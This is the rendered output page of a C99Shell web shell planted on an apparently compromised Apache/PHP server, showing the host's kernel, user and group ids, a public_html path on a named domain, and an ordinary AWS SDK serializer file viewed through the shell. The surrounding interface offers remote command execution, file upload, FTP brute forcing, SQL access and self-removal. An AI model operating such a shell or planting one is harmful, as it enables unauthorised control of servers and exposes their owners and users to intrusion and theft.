!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/Serializer/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     QuerySerializer.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\Serializer;

use 
Aws\Api\Service;
use 
Aws\CommandInterface;
use 
Aws\EndpointV2\EndpointProviderV2;
use 
Aws\EndpointV2\EndpointV2SerializerTrait;
use 
Aws\EndpointV2\Ruleset\RulesetEndpoint;
use 
GuzzleHttp\Psr7\Request;
use 
Psr\Http\Message\RequestInterface;

/**
 * Serializes a query protocol request.
 * @internal
 */
class QuerySerializer
{
    use 
EndpointV2SerializerTrait;

    private 
$endpoint;
    private 
$api;
    private 
$paramBuilder;

    public function 
__construct(
        
Service $api,
        
$endpoint,
        callable 
$paramBuilder null
    
) {
        
$this->api $api;
        
$this->endpoint $endpoint;
        
$this->paramBuilder $paramBuilder ?: new QueryParamBuilder();
    }

    
/**
     * When invoked with an AWS command, returns a serialization array
     * containing "method", "uri", "headers", and "body" key value pairs.
     *
     * @param CommandInterface $command Command to serialize into a request.
     * @param $endpointProvider Provider used for dynamic endpoint resolution.
     * @param $clientArgs Client arguments used for dynamic endpoint resolution.
     *
     * @return RequestInterface
     */
    
public function __invoke(
        
CommandInterface $command,
        
$endpoint null
    
)
    {
        
$operation $this->api->getOperation($command->getName());
        
$body = [
            
'Action'  => $command->getName(),
            
'Version' => $this->api->getMetadata('apiVersion')
        ];
        
$commandArgs $command->toArray();

        
// Only build up the parameters when there are parameters to build
        
if ($commandArgs) {
            
$body += call_user_func(
                
$this->paramBuilder,
                
$operation->getInput(),
                
$commandArgs
            
);
        }
        
$body http_build_query($body'''&'PHP_QUERY_RFC3986);
        
$headers = [
            
'Content-Length' => strlen($body),
            
'Content-Type'   => 'application/x-www-form-urlencoded'
        
];

        if (
$endpoint instanceof RulesetEndpoint) {
            
$this->setEndpointV2RequestOptions($endpoint$headers);
        }

        return new 
Request(
            
'POST',
            
$this->endpoint,
            
$headers,
            
$body
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--